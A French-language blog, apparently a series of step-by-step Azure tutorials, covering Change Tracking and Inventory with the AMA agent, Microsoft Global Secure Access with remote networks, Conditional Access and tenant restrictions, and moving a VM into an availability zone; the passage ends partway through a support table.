Niveau agent : AMA ou MMA, lequel choisir ?

Microsoft avait annoncé la préversion de Suivi des modifications et inventaire via l’agent AMA en janvier 2023. L’agent AMA prend le pas sur l’agent LOA pour des raisons de sécurité, de fiabilité, et facilite également les multi-environnements. De plus, il n’est plus nécessaire d’intégrer un compte Azure Automation.

D’ailleurs Microsoft a également annoncé une date de retrait pour MMA/LOA :

Actuellement, le suivi des modifications et l’inventaire utilisent Log Analytics Agent et son retrait est prévu d’ici le 31 août 2024. Nous vous recommandons d’utiliser Azure Monitoring Agent comme nouvel agent de prise en charge.

Microsoft Learn

Agent, Extension, Kesako ?

Il existe des différences entre un agent et une extension. Microsoft apporte sur cette page quelques infos bien utiles :

  • Agent : Il s’agit d’une application légère, toujours en cours d’exécution (le plus souvent exécutée en tant que service/daemon), qui collecte des informations auprès de la machine et les transmet quelque part ou maintient l’état de la machine elle-même en fonction d’une certaine configuration.
  • Extension : Dans Azure, les extensions fournissent des tâches de configuration et d’automatisation post-déploiement sur les VM Azure. Les extensions peuvent faire partie de la définition de la VM elle-même, et donc être utilisées pour déployer quelque chose dans le cadre du déploiement de la ressource hôte elle-même. Dans le cas d’Azure Monitor, il existe des extensions qui déploient l’agent de surveillance dans le cadre du déploiement de la VM/VMSS.
  • AzureMonitoringWindowsAgent : Il s’agit de l’extension la plus récente et la plus recommandée d’Azure Monitor Agent (AMA) pour une VM. Elle est disponible pour les VM Windows avec le nom AzureMonitoringWindowsAgent. De même, AzureMonitorLinuxAgent est le nom de l’extension pour l’AMA sur la VM Linux.
  • MMAExtension : C’est le nom de l’extension qui installe l’ancien agent sur la VM Windows. L’agent lui-même est appelé Log Analytics Agent ou LA Agent, également appelé « Microsoft Monitoring Agent » ou MMA. Pour les machines virtuelles Linux, cette extension installe un paquetage d’agent appelé OMSAgentforLinux.

Enfin, cette page détaille les différences techniques des agents en relation avec Azure Monitor.

Afin de bien comprendre ce que le Suivi des modifications et inventaire d’Azure est capable de faire avec un agent AMA, je vous propose de suivre ce petit exercice :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur le Suivi des modifications et inventaire d’Azure, il vous faudra disposer de :

  • Un tenant Microsoft
  • Une souscription Azure valide

Afin de pouvoir tester cette fonctionnalité Azure, il est nécessaire de créer une machine virtuelle.

Etape I – Préparation de l’environnement :

Pour cela, rechercher le service des Machines virtuelles sur votre portail Azure :

Cliquez-ici pour commencer la création de la machine virtuelle :

Renseignez les informations de base relatives à votre VM :

Choisissez la taille de votre VM, définissez un compte administrateur local, bloquez les ports entrants, puis cliquez sur Suivant :

Aucune modification n’est à faire sur cet onglet, cliquez sur Suivant :

Retirez l’adresse IP publique de votre VM, puis cliquez sur Suivant :

Décochez l’extinction automatique de la machine virtuelle, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la VM, puis attendez environ 2 minutes :

Une fois le déploiement terminé, cliquez-ici pour consulter votre machine virtuelle :

Cliquez-ici pour déclencher le déploiement du service Azure Bastion :

Les notifications suivantes devraient apparaitre :

Sans attendre la fin du déploiement d’Azure Bastion, recherchez le service Log Analytics Workspace :

Cliquez-ici pour déployer votre Log Analytics Workspace :

Renseignez tous les champs dont son nom devant être unique sur Azure :

Attendez maintenant que le Log Analytics Workspace et Azure Bastion soient entièrement déployés pour continuer cet exercice.

Une fois que le service Azure Bastion est déployé, connectez-vous à votre machine virtuelle en utilisant le compte d’administrateur local :

Notre environnement de base est maintenant en place. Nous allons pouvoir continuer en activant le service Suivi des modifications et inventaire.

Etape II – Activation du Suivi des modifications et inventaire :

Pour cela, retournez sur votre machine virtuelle afin d’activer le Suivi des modifications et inventaire en utilisant un agent AMA :

La mise en place de ce service déploie 2 extensions sur votre machine virtuelle et vous invite à patienter :

Quelques minutes plus tard, consultez les extensions installées sur votre machine virtuelle :

Afin que toutes les modifications soient bien prises en compte dans le Suivi des modifications et inventaire, je vous conseille d’attendre 30 minutes avant de continuer la suite de cet exercice.

Etape III – Sauvegarde des évènements Azure :

La sauvegarde d’évènements Azure est utile afin de bien comprendre par exemple les modifications faites directement sur les ressources Azure.

Pour cela, cliquez sur le menu suivant dans votre machine virtuelle :

Puis cliquez-ici :

Enfin cliquez-ici pour connecter votre journal d’activité Azure :

Quelques secondes plus tard, constatez le bon changement du statut de la connexion :

Effectuez ensuite un changement de taille de votre machine virtuelle :

Attendez que le redimensionnement soit terminé :

Quelques minutes plus tard, constatez l’apparition d’une ligne d’évènement dans le Suivi des modifications et inventaire :

Continuons les tests du Suivi des modifications et inventaire en activant la sauvegarde du suivi des fichiers Windows.

Etape IV – Sauvegarde du suivi de fichiers Windows :

Cliquez sur Ajouter dans le menu suivant du Suivi des modifications et inventaire :

Ajoutez la règle de fichiers Windows, puis cliquez sur Ajouter :

Sur votre machine virtuelle de test, créez le fichier correspondant à votre règle de suivi :

Quelques minutes plus tard, constatez l’apparition d’un changement dans le Suivi des modifications et inventaire :

Continuons les tests du Suivi des modifications et inventaire en activant la sauvegarde du suivi du registre Windows.

Etape V – Sauvegarde du suivi du registre Windows :

Cliquez sur Ajouter dans le menu suivant du Suivi des modifications et inventaire :

Ajoutez la règle de registre Windows, puis cliquez sur Ajouter :

Sur votre machine virtuelle de test, créez la clef de registre correspondante à votre règle :

Quelques minutes plus tard, constatez l’apparition d’une ligne de changement dans le Suivi des modifications et inventaire :

Continuons les tests du Suivi des modifications et inventaire en ajoutant le suivi des services Windows.

Etape VI – Sauvegarde du suivi de services Windows :

Modifiez si besoin la fréquence des remontées d’informations sur les services Windows :

Sur votre machine virtuelle de test, lancez le script PowerShell d’installation suivant :

Install-WindowsFeature -name Web-Server -IncludeManagementTools

Attendez la fin de l’installation du rôle IIS :

Quelques minutes plus tard, constatez l’apparition d’un changement dans le Suivi des modifications et inventaire :

Continuons les tests du Suivi des modifications et inventaire en modifiant la sauvegarde du suivi des modifications du contenu de fichiers.

Etape VII – Sauvegarde du suivi des modifications du contenu de fichiers :

Avant d’activer la fonction du suivi des modifications de fichiers, recherchez le service des comptes de stockage Azure :

Créez un compte de stockage dédié à la fonction du suivi de modification des fichiers :

Nommez votre compte de stockage, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création du compte de stockage, puis attendez environ 1 minute :

Une fois le compte de stockage créé, retournez dans la configuration du Suivi des modifications et inventaire afin d’y ajouter ce dernier :

Choisissez votre compte de stockage, puis cliquez sur Sauvegarder :

Retournez sur votre compte de stockage, puis ouvrez le conteneur suivant créé automatiquement par le Suivi des modifications et inventaire :

Cliquez-ici pour ajouter des droits RBAC sur ce conteneur blob :

Choisissez le rôle ci-dessous, puis cliquez sur Suivant :

Ajoutez l’identité managée de votre machine virtuelle, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de l’assignation RBAC :

Modifiez le contenu d’un fichier de texte présent sur votre machine virtuelle de test, puis retournez sur votre compte de stockage afin de constater le téléversement du fichier modifié quelques minutes plus tard :

Terminons les tests du Suivi des modifications et inventaire en installant un logiciel sur la machine virtuelle.

Etape VIII – Inventaire des logiciels :

Téléchargez par exemple Google Chrome depuis une source officielle :

Lancez son installation :

Quelques minutes plus tard, Google Chrome apparait bien dans le Suivi des modifications et inventaire en tant qu’application installée :

Conclusion

Bien que le Suivi des modifications et inventaire soit très intéressant dans certains scénarios, je ne sais pas ce que l’avenir va donner sur cet outil Microsoft.

Un autre outil très intéressant et accessible sans aucun déploiement est le Change Analysis. Cet outil ne fait pas la même chose que le Suivi des modifications et inventaire.

Comme la copie d’écran ci-dessous le montre, Change Analysis est un moyen simple et rapide de voir les changement de propriétés effectués sur une ressources Azure :

Pour rester sur le sujet, John Savill a également fait une vidéo très intéressante sur la gestion des modifications Azure et les alertes possibles :

Enfin, un autre outil présent nativement dans Azure pourra vous aider dans votre investigation Azure, il appelé Resource Explorer :

Connectez votre réseau local à Global Secure Access

Restons encore un peu dans la lignée des articles dédiés au Global Secure Access de Microsoft. Abordons cette fois-ci une fonction appelée Remote Network : la connexion d’un réseau local (distant) tout entier à un point Edge du réseau Microsoft. Cette approche est complémentaire aux Clients Global Secure Access installés sur les postes en situation de mobilité.

Si le sujet Global Secure Access vous passionne tout comme moi, je vous invite à lire mes précédents articles sur le sujet :

J’y détaille l’intérêt du service Global Secure Access et la démarche sécuritaire mise en avant par Microsoft.

Qu’est-ce qu’un réseau distant ?

A l’inverse de postes en mobilité, il faut voir ces réseaux comme des réseaux fixes d’une entreprise dont le nombre et la répartition est possiblement mondiale :

Les réseaux distants sont des emplacements distants 🤣 ou des réseaux qui nécessitent une connectivité Internet. Par exemple, de nombreuses organisations ont un siège social central et des filiales dans différentes zones géographiques. Ces filiales ont besoin d’accéder aux données et services d’entreprise. Elles ont besoin d’un moyen sécurisé de communiquer avec le centre de données, le siège social et les travailleurs à distance. La sécurité des réseaux distants est cruciale pour de nombreux types d’organisations.

Les réseaux distants, tels qu’un emplacement de branche, sont généralement connectés au réseau d’entreprise via un réseau étendu dédié (WAN) ou une connexion de réseau privé virtuel (VPN). Les employés de l’emplacement de branche se connectent au réseau à l’aide de l’équipement local du client (CPE).

Microsoft Learn

Comment fonctionne la connectivité réseau à distance Global Secure Access ?

Comme pour une connexion VPN classique, une connexion sécurisée via le service Global Secure Access s’appuie sur un tunnel IP Sec :

Pour connecter un réseau distant à Global Secure Access, configurez un tunnel IPSec (Internet Protocol Security) entre votre équipement local et le point de terminaison Global Secure Access. Le trafic que vous spécifiez est acheminé via le tunnel IPSec vers le point de terminaison Global Secure Access le plus proche. 

Microsoft Learn

Pourquoi utiliser Global Secure Access pour nos réseaux ?

Global Secure Access propose une approche plus adaptée que les méthodes traditionnelle (WAN / MPLS) en faisant transiter la donnée via le backbone de Microsoft avec une tarification bien plus abordable que ces concurrents :

Il est de plus en plus difficile de maintenir la sécurité d’un réseau d’entreprise dans un monde de travail à distance et d’équipes distribuées. Security Service Edge (SSE) promet un monde de sécurité où les clients peuvent accéder à leurs ressources d’entreprise n’importe où dans le monde sans avoir à renvoyer leur trafic au siège social.

Microsoft Learn

Qu’est-ce que le Zéro Trust Network Access (ZTNA) ?

L’accès au réseau sans confiance (ZTNA), également connu sous le nom de périmètre défini par logiciel (SDP), est un ensemble de technologies et de fonctionnalités qui permettent un accès sécurisé aux applications internes pour les utilisateurs distants. Il fonctionne sur la base d’un modèle de confiance adaptatif, où la confiance n’est jamais implicite et où l’accès est accordé en fonction du besoin de savoir, sur la base du moindre privilège défini.

Zscaler

De manière plus simple, ZTNA reprend l’approche de ZT en y intégrant en tant que signal d’entrée la couche réseau, afin de rendre les décisions d’accès ou d’interdiction encore plus précises et donc plus sécurisantes :

Afin de se faire une meilleure idée sur le Global Secure Access encore en préversion, je vous propose de réaliser un nouvel exercice. Voici quelques liens vers la documentation Microsoft :

J’ai été assez surpris de voir que Microsoft a même écrit un mode opératoire en simulant comme moi le réseau distant sous Azure 😎

Comme Microsoft, mon but est donc de mesurer l’impact dans l’accès aux services 365 en simulant un réseau distant sous Azure et directement connecté Global Secure Access. Les tâches que nous allons réaliser seront donc les suivantes :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer des éléments suivants :

  • Un tenant Microsoft
  • Une souscription Azure valide

Afin de pouvoir tester cette fonctionnalité toujours en préversion, il est nécessaire de créer une machine virtuelle pour simuler un accès aux services 365 depuis notre réseau distant.

Etape I – Préparation de la VM de test :

Pour cela, rechercher le service Machines virtuelles sur le portail Azure :

Cliquez-ici pour commencer la création de la première machine virtuelle :

Renseignez les informations de base relatives à votre VM en choisissant une image sous Windows Server 2022 :

Choisissez la taille de votre VM, puis définissez un compte administrateur local :

Bloquez les ports entrants, puis cliquez sur Suivant :

Aucune modification n’est à faire sur cet onglet, cliquez sur Suivant :

Retirez l’IP publique, puis cliquez sur Suivant :

Décochez l’extinction automatique de la machine virtuelle, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la première VM, puis attendez environ 2 minutes :

Une fois le déploiement terminé, cliquez-ici pour consulter votre première machine virtuelle :

Cliquez-ici pour déclencher le déploiement du service Azure Bastion :

Attendez environ 3 minutes que la notification Azure suivante apparaisse :

Notre machine virtuelle est maintenant opérationnelle. La prochaine étape consiste à préparer la connexion VPN côté Azure.

Etape II – Création de la passerelle VPN Azure :

Pour cela, nous allons avoir besoin d’une passerelle VPN Azure. Un ancien article parlait déjà de ce service Azure juste ici.

Recherchez le réseau virtuel créé avec la VM, puis notez sa plage d’adresses réseaux pour la suite :

Profitez-en pour lui ajouter un sous-réseau dédié à la future passerelle VPN :

Cliquez sur Sauvegarder :

Attendez environ 15 secondes que la notification suivante apparaisse :

Recherchez dans le menu Azure le service suivant pour créer la passerelle VPN :

Cliquez-ici pour créer votre passerelle VPN Azure :

Renseignez les informations de base, choisissez le SPU VpnGw1, puis le même réseau virtuel que précédemment :

Désactivez mode actif-actif, activez la fonction BGP, renseignez un numéro ASN valide, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la passerelle VPN, puis attendez environ 30 minutes :

Une fois le déploiement terminé, cliquez-ici afin de récupérer quelques informations sur la passerelle VPN :

Allez dans l’onglet Configuration afin de copier ces informations :

Notre passerelle VPN côté Azure est maintenant en place. Nous devons maintenant configurer Global Secure Access d’Entra ID pour reconnaître les demandes de connexion depuis cette passerelle VPN.

Etape III – Configuration du réseau distant sur GSA :

Rendez-vous sur la page suivante du portail Entra, puis cliquez-ici pour mettre en place la connexion réseau côté Microsoft Entra :

Nommez votre connexion, choisissez la région Azure la plus proche de votre réseau distant, puis cliquez sur Suivant :

Ajoutez un lien réseau à votre connexion :

Renseignez les informations de base en reprenant les informations récupérées de la passerelle VPN, puis cliquez sur Suivant :

Conservez les options suivantes, puis cliquez sur Suivant :

Définissez une clef PSK et conservez-là, puis cliquez sur Suivant :

Cliquez sur suivant :

Cochez la seule case possible à ce jour : seul le traffic vers les services Microsoft 365 sera actuellement routé via cette connexion, puis lancez la validation Entra ID :

Une fois la validation Entra ID réussie, lancez la connexion réseau, puis attendez environ 1 minute :

Une notification Entra ID apparaît alors :

Consultez le menu suivant afin de constater la présence d’un réseau distant uniquement sur le profil Microsoft 365 :

Retournez sur le menu des connexions réseaux afin de récupérer des informations :

Récupérez les 3 informations suivantes pour continuer la configuration de la connexion à la passerelle VPN côté Azure :

La configuration réseau côté Global Secure Access est maintenant terminée. Avançons maintenant côté Azure afin que ce dernier reconnaisse également le réseau GSA.

Etape IV – Configuration du réseau GSA sur Azure :

Retournez sur le portail Azure afin de créer passerelle de réseau local correspondant à la connexion configurée sur Global Secure Access.

Pour cela, recherchez le service suivant sur le portail Azure :

Cliquez-ici pour commencer la création :

Renseignez les informations de base, reprenez l’IP publique récupérée sur Global Secure Access, puis cliquez sur Suivant :

Renseignez les autres informations suivantes provenant de Global Secure Access, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la passerelle de réseau local, puis attendez environ 2 minutes :

Attendez que le déploiement de la passerelle de réseau local soit terminé :

Avant de finaliser la configuration VPN, il serait intéressant de tester une connexion vers les services 365 en y incluant une police d’accès conditionnel potentiellement bloquante.

Etape V – Global Secure Access + Accès Conditionnel :

La signalisation de Global Secure Access fournit des informations sur l’emplacement du réseau à l’accès conditionnel, ce qui permet aux administrateurs de créer des politiques qui limitent l’accès des utilisateurs à des applications spécifiques en fonction de leur utilisation du client Global Secure Access ou d’un réseau distant.

Microsoft Entra

La combinaison de Global Secure Access et de l’Accès Conditionnel va donc permettre de restreindre l’accès à certains services si la connexion via Global Secure Access n’est pas établie.

Pour cela, créez une nouvelle police d’accès conditionnel par le menu suivant :

Spécifiez le groupe d’utilisateurs de test concerné :

Définissez la ou les applications à protéger :

Excluez de cette police les connexions faites via Global Secure Access :

Bloquez l’accès pour toutes les autres tentatives de connexion, activez la police puis sauvegardez-là :

Attendez quelques minutes, puis retournez sur votre VM de test via une session Azure Bastion :

Lancez un ping sur le site outlook.office.com afin de constater l’IP actuelle du service de messagerie de Microsoft :

Ouvrez Edge sur la page office.com afin de vous authentifiez avec un compte 365 de test :

Connectez-vous-y en utilisant l’identité Entra ID de votre compte de test :

Constatez le blocage de l’accès conditionnel mis en place précédemment :

Ce test nous confirme que la connexion GSA via un réseau distant ou le client est maintenant obligatoire pour accéder aux services 365.

Finalisons maintenant la connexion entre notre environnement Azure de test et GSA.

Etape VI – Connexion entre le réseau distant et GSA :

De retour sur le portail Azure, cliquez-ici pour mettre en place la connexion entre la passerelle VPN et Global Secure Access :

Définissez la connexion en IP Sec, puis cliquez sur Suivant :

Renseignez les informations de base dont la clef PSK, cochez la case BGP, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la connexion, puis attendez environ 1 minute :

Attendez que le déploiement de la connexion soit terminé, puis cliquez-ici :

Constatez le statut inconnu de celle-ci :

Retournez sur la page suivante de la passerelle VPN, puis rafraichissez périodiquement afin de constater une changement de status de la connexion :

Le statut devrait changer sous environ 3 minutes :

Consultez la page suivante pour voir les impacts de routage via les communications BGP :

L’environnement est maintenant opérationnel. Il ne reste plus qu’à refaire des tests sur notre machine virtuelle.

Etape VII – Global Secure Access + Accès Conditionnel v2 :

Lancez un ping sur le site outlook.office.com afin de constater la nouvelle IP du service de messagerie Microsoft :

Ouvrez Edge en navigation privée sur la page office.com afin de vous authentifiez avec un compte 365 de test :

Connectez-vous-y en utilisant l’identité Entra ID de votre compte de test :

Cliquez sur Non :

Constatez la bonne connexion au service de Microsoft 365 :

Afin de confirmer nos tests, retirez la connexion entre Azure et GSA pour retrouver le blocage initialement constaté à cause de la police d’accès conditionnelle.

Etape VIII – Retrait de la connexion VPN :

De retour sur le portail Azure, supprimez la connexion VPN Azure précédemment établie :

Confirmez votre choix en cliquant sur Oui :

Attendez que la notification Azure suivante apparaisse :

Lancez un ping sur le site outlook.office.com afin de constater la nouvelle IP du service de messagerie de Microsoft :

Constatez le retour du blocage de l’accès conditionnel mis en place précédemment :

Consultez l’évolution du status de la connexion Global Secure Access via le menu suivant :

Constatez le log de connexion vers les services Microsoft 365 ayant transité par le Global Secure Access via le menu suivant :

Conclusion

Ce nouveau test montre encore une fois la grande simplicité de la connexion entre l’on-premise et les services 365 de Microsoft. Aucun doute que ce service devrait connaître un grand succès une fois sorti de sa préversion et quand sa grille tarifaire sera dévoilée 🤣🙏

Le prochain article devrait parler de l’Accès Privé de Global Secure Access. John a déjà pris de l’avance sur moi 🤣

Microsoft 365 via Global Secure Access

2024 est à peine là, mais certaines choses ne changent pas. La sécurité IT reste encore au cœur des préoccupations pour cette nouvelle année. Les façons de consommer la donnée au travers des outils informatiques ont été bouleversées depuis l’arrivée des Cloud publics. Mais ces usages doivent s’accompagner de mesures de sécurité toujours plus performantes.

Microsoft veut changer la partie avec son Global Secure Access. Parcourons ensemble quelques notions sur ce sujet.

Pourquoi Microsoft s’intéresse aux réseaux ?

L’émergence des outils 365, les nombreuses applications disponibles sous format SaaS, les ressources hébergées sur Azure, ou encore les effets du COVID ont fait voler en éclat les approches réseaux traditionnelles.

Partant de ce constat, la sécurité des réseaux, pensée de manière centralisée, a dû elle aussi s’adapter face à au nouveaux usages et fait face à de nouvelles menaces potentielles.

Microsoft est un acteur majeur du Cloud public, et la nouvelle approche sécuritaire des réseaux au-delà de leurs centre de données est donc une évidence pour eux.

Secure Access Service Edge (SASE) vs Security Service Edge (SSE) ?

Il s’agit avant tout de structurer les produits et les services de manière plus cohérentes selon les besoins :

Le SSE définit un cadre limité de la sécurité réseau convergente, qui allie des fonctions SWG, CASB/DLP et ZTNA dans un service cloud natif. Il permet un accès sécurisé aux applications Web, SaaS et métier internes, sans prise en charge directe des ressources WAN. Ce dernier aspect relève toujours d’une solution technologique distincte, englobant des fonctions comme le SD-WAN, les pare-feux nouvelle génération et les backbones réseau globaux.

Cato Networks

Voici d’ailleurs une vidéo pour vous en faire une meilleure idée :

On dit merci qui ? Merci Gartner🤣 !

On peut donc voir le SSE comme un pan clé du pilier sécurité du SASE :

Qu’est-ce que le Zéro Trust (ZT) ?

Le concept Zéro Trust vous dit peut-être déjà quelque chose (ou pas encore) ? Une règle simple et appliquée tout le temps : Ne jamais faire confiance, toujours vérifier.

Considérez simplement chaque demande d’accès comme suspecte :

Qu’est-ce que le Zéro Trust Network Access (ZTNA) ?

L’accès au réseau sans confiance (ZTNA), également connu sous le nom de périmètre défini par logiciel (SDP), est un ensemble de technologies et de fonctionnalités qui permettent un accès sécurisé aux applications internes pour les utilisateurs distants. Il fonctionne sur la base d’un modèle de confiance adaptatif, où la confiance n’est jamais implicite et où l’accès est accordé en fonction du besoin de savoir, sur la base du moindre privilège défini.

Zscaler

De manière plus simple, ZTNA reprend l’approche de ZT en y intégrant en tant que signal d’entrée la couche réseau, afin de rendre les décisions d’accès ou d’interdiction encore plus précises et donc plus sécurisantes :

Qu’est-ce que le Global Secure Access proposé par Microsoft ?

Voyant l’évolution des besoins de sécurité réseaux et la demande grandissante du Cloud, Microsoft a souhaité apporter sa propre solution SSE basée sur ZTNA :

Global Secure Access est l’emplacement unifié du centre d’administration Microsoft Entra et repose sur les principes fondamentaux de confiance zéro, d’utiliser le moindre privilège, de vérifier explicitement et de supposer une violation.

Microsoft Learn

Comme le montre le schéma ci-dessous, Global Secure Access regroupe 2 principaux services :

Voici d’ailleurs un excellent webinar animé par Seyfallah Tagrerout sur le Global Secure Access :

Afin de se faire une meilleure idée sur le Global Secure Access encore en préversion, je vous propose de réaliser un petit exercice. Mon premier but étant de mesurer son impact dans l’accès aux services 365 en simulant des postes utilisateurs ayant le client Windows Global Secure Access d’installé.

Les tâches que nous allons réaliser sont donc les suivantes :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer des éléments suivants :

  • Un tenant Microsoft
  • Une souscription Azure valide
  • Une licence Microsoft Entra ID P1 licence (obligatoire)
  • Une licence Microsoft 365 E3 (recommandée)

Etape I – Configuration du tenant :

Global Service Access est un service intégré à Microsoft Entra. Vous le trouverez donc uniquement dans ce portail.

Rendez-vous sur la page du portail d’Entra, puis cliquez-ici :

Certains prérequis sont vérifiés automatiquement. Une fois tous ces derniers en vert, cliquez sur le bouton Activer :

Attendez quelques secondes l’apparition de cette notification :

Cliquez-ici afin de continuer :

Cette page vous remontre les 2 principaux services de Global Secure Access :

Cliquez sur le service de votre choix pour en savoir un peu plus :

La documentation Microsoft correspondante s’ouvre alors dans un nouvel onglet :

De retour sur le portail d’Entra, continuer la configuration du Global Secure Access en cliquant sur Journalisation. Cette page nous informe que la Journalisation n’est pas encore activée sur Entra ID :

Activez la sauvegarde en passant par le menu suivant :

Configurez les Paramètres de diagnostic selon vos souhaits en cochant bien les logs nommées EnrichedOffice365AuditLogs :

Retournez sur la page de Journalisation de Global Secure Access afin de contrôler le bon changement :

La configuration de base de Global Secure Access est maintenant terminée.

Avant d’activer le service de Profil d’accès à Microsoft 365, nous allons créer 2 VMs dans Azure pour simuler des postes utilisateurs.

Etape II – Préparation de postes utilisateurs :

Depuis le portail Azure, créez 2 machines virtuelles sous Windows 11 sous un même réseau virtuel :

Sur ce réseau virtuel, déployer le service Azure Bastion afin de vous connecter à ces 2 VMs dépourvues d’IP publiques :

Joignez les deux machines virtuelles créées précédemment à Entra ID selon cet article, puis vérifiez leur présence sur cette page d’Entra ID :

Vérifiez également la présence de ces 2 VMs sur cette page de la console Intune :

Nos machines virtuelles de test sont prêtes.

Créez une premier groupe Entra ID contenant vos 2 utilisateurs de test :

Créez une second groupe Entra ID contenant vos 2 machines Azure de test :

L’environnement Azure est maintenant opérationnel. Retournons sur la configuration de Global Secure Access pour activer le profil dédié aux services Microsoft 365.

Etape III – Configuration du Profil d’accès à Microsoft 365 :

Retournez sur cette page d’Entra ID, puis cochez la case suivante pour activer ce profil sur votre tenant :

Confirmez votre action en cliquant sur OK :

Attendez quelques secondes l’apparition de cette notification :

Vérifiez le changement de statut pour le Profil d’accès à Microsoft 365 :

Pour gérer les détails de la politique de transfert de trafic Microsoft 365, sélectionnez le lien suivant :

Continuons maintenant par l’installation du client Global Secure Access.

Etape IV – Déploiement du client Global Secure Access :

Ce client est nécessaire pour acheminer le trafic réseau vers le service Global Secure Access quand on souhaite s’y connecter en dehors d’un réseau d’entreprise.

Les différents clients de Global Secure Access sont disponibles sur cette page. Cliquez-ici pour télécharger la version Windows 10/11 :

Attendez que le téléchargement se termine :

Si vous le souhaitez, utilisez comme moi l’application Intunewin (Microsoft Win32 Content Prep Tool) afin de packager votre client Global Secure Access et de le déployer via Intune.

Créez votre application sur la console Intune comme Microsoft le préconise :

Attendez environ 30 minutes que l’application se déploie automatiquement sur les 2 machines virtuelles précédemment créées :

L’environnement est enfin prêt pour tester la connexion aux services 365 via Global Secure Access.

Etape V – Test de Global Secure Access :

Ouvrez 2 sessions RDP via Azure Bastion sur les 2 VMs en utilisant respectivement vos 2 utilisateurs Entra ID de test :

Constatez l’ouverture d’une page d’authentification de Global Secure Access, puis connectez-vous-y en utilisant l’identité Entra ID proposée par Windows :

Vérifiez la bonne connexion grâce à l’icône présent dans la barre de tâches :

Afin de comparer les 2 environnements, activez le mode Pause sur l’une des 2 VMs de test :

Cliquez sur le menu suivant du client Global Secure Access afin d’obtenir plus d’informations sur le statut de la connexion :

Comparez les deux checklist et leurs différences :

Vérifiez la présence de la règle concernant le profil Microsoft 365 sur les 2 VMs :

Sur les 2 machines virtuelles de test :

  • Ouvrez la page d’Outlook sur Edge afin de constater la connexion au service
  • Lancez une requête PING afin de constater les variations d’adresses IP

Retournez sur la page de log suivante du service Global Secure Access d’Entra ID afin de constater l’apparition de plusieurs lignes de log :

En quelques clics, nous avons mis en place un client Global Secure Access. Continuons un autre test en combinant le Global Secure Access avec l’Accès Conditionnel d’Entra ID.

Etape VI – Global Secure Access + Accès Conditionnel :

La signalisation de Global Secure Access fournit des informations sur l’emplacement du réseau à l’accès conditionnel, ce qui permet aux administrateurs de créer des politiques qui limitent l’accès des utilisateurs à des applications spécifiques en fonction de leur utilisation du client Global Secure Access ou d’un réseau distant.

Microsoft Entra

La combinaison de Global Secure Access et de l’Accès Conditionnel va donc permettre de restreindre l’accès à certains services si la connexion via Global Secure Access n’est pas établie.

Pour cela, rendez-vous sur la page suivante d’Entra afin de constater la situation avant activation :

Activez l’option nommée Accès adaptatif sur cette page, puis sauvegardez :

Attendez quelques secondes l’apparition de cette notification :

Retournez sur page suivante d’Entra afin de constater la situation après activation :

Créez une nouvelle police d’accès conditionnel par le menu suivant :

Spécifiez le groupe d’utilisateurs de test concerné :

Définissez la ou les applications à protéger :

Excluez de cette police les connexions faites depuis Global Secure Access :

Bloquez l’accès pour les autres tentatives de connexion, activez la police puis sauvegardez-là :

Attendez quelques minutes, puis ouvrez Edge en navigation privée vers la page d’Outlook afin de constater les impacts :

Continuons avec un dernier test de restriction de tenant pour Global Secure Access.

Etape VII – Global Secure Access + Restriction au tenant :

Les restrictions imposées aux locataires permettent aux administrateurs de contrôler si leurs utilisateurs peuvent accéder aux ressources d’une organisation externe avec des comptes émis par cette dernière, tout en utilisant le réseau ou l’appareil de votre organisation.

Microsoft Entra

En d’autres termes, une fois connecté au Global Secure Access, plus moyen de s’authentifier sur un tenant tiers si cette option est activée et sans y ajouter le second tenant comme exception.

Pour cela, rendez-vous sur cette même page d’Entra ID, activez l’option suivante puis sauvegardez :

Attendez quelques minutes, puis réouvrez Edge en navigation privée vers la page d’Outlook afin de constater les impacts :

Conclusion

Par la mise à disposition du Global Secure Access, Microsoft apporte une brique manquante et attendue depuis longtemps dans son approche Zéro Trust. D’autres fonctionnalités comme Remote network vont s’avérer très utile pour sécuriser les connexions depuis et vers le Cloud sans obligatoirement investir dans des solutions de type MPLS.

Enfin, d’autres articles vont bientôt suivre sur la gestion de trafic des autres profils (Private access profile, Internet access profile) 😎

Déplacez votre VM dans une Zone Azure

Il y a quelques jours, Microsoft vient d’annoncer une nouvelle fonctionnalité de migration très intéressante pour les machines virtuelles déjà en place : la possibilité de déplacer une machine virtuelle, actuellement non zonée, vers une zone précise de la région Azure.

Pourquoi faire ? Pour accroitre la résilience de l’infrastructure 🙏

Annoncé le 12 décembre dernier sur blog Azure, cette fonctionnalité dédié aux machines virtuelles vient compléter la récente annonce datée d’octobre sur l’Expansion zonale des Azure VMSS.

Voici d’ailleurs un schéma montrant l’intégration de 3 zones au sein d’une seule région Azure :

Microsoft a déjà mis à disposition la documentation sur ce nouveau type de migration :

En revanche, la possibilité d’utiliser ce type de migration dépendra de votre scénario actuel :

ScénarioAssistance techniqueDétails
Machine virtuelle à instance uniquePrise en chargeLe déplacement régional vers zonal de machines virtuelles à instance unique est pris en charge.
Machines virtuelles au sein d’un groupe à haute disponibilitéNon pris en charge
Machines virtuelles à l’intérieur de groupes de machines virtuelles identiques avec orchestration uniformeNon pris en charge
Machines virtuelles à l’intérieur de groupes de machines virtuelles identiques avec orchestration flexibleNon pris en charge
Régions prises en chargePrise en chargeSeules les régions prises en charge par la zone de disponibilité sont prises en charge. En savoir plus sur les détails de la région.
Machines virtuelles déjà situées dans une zone de disponibilitéNon pris en chargeLe déplacement interzone n’est pas pris en charge. Seules les machines virtuelles qui se trouvent dans la même région peuvent être déplacées vers une autre zone de disponibilité.
Extensions de machine virtuelleNon pris en chargeLe déplacement de machine virtuelle est pris en charge, mais les extensions ne sont pas copiées sur une machine virtuelle zonale cible.
Machines virtuelles avec lancement fiablePrise en chargeRéactivez l’option Analyse de l’intégrité dans le portail et enregistrez la configuration après le déplacement.
Machines virtuelles confidentiellesPrise en chargeRéactivez l’option Analyse de l’intégrité dans le portail et enregistrez la configuration après le déplacement.
Machines virtuelles de 2e génération (démarrage UEFI)Prise en charge
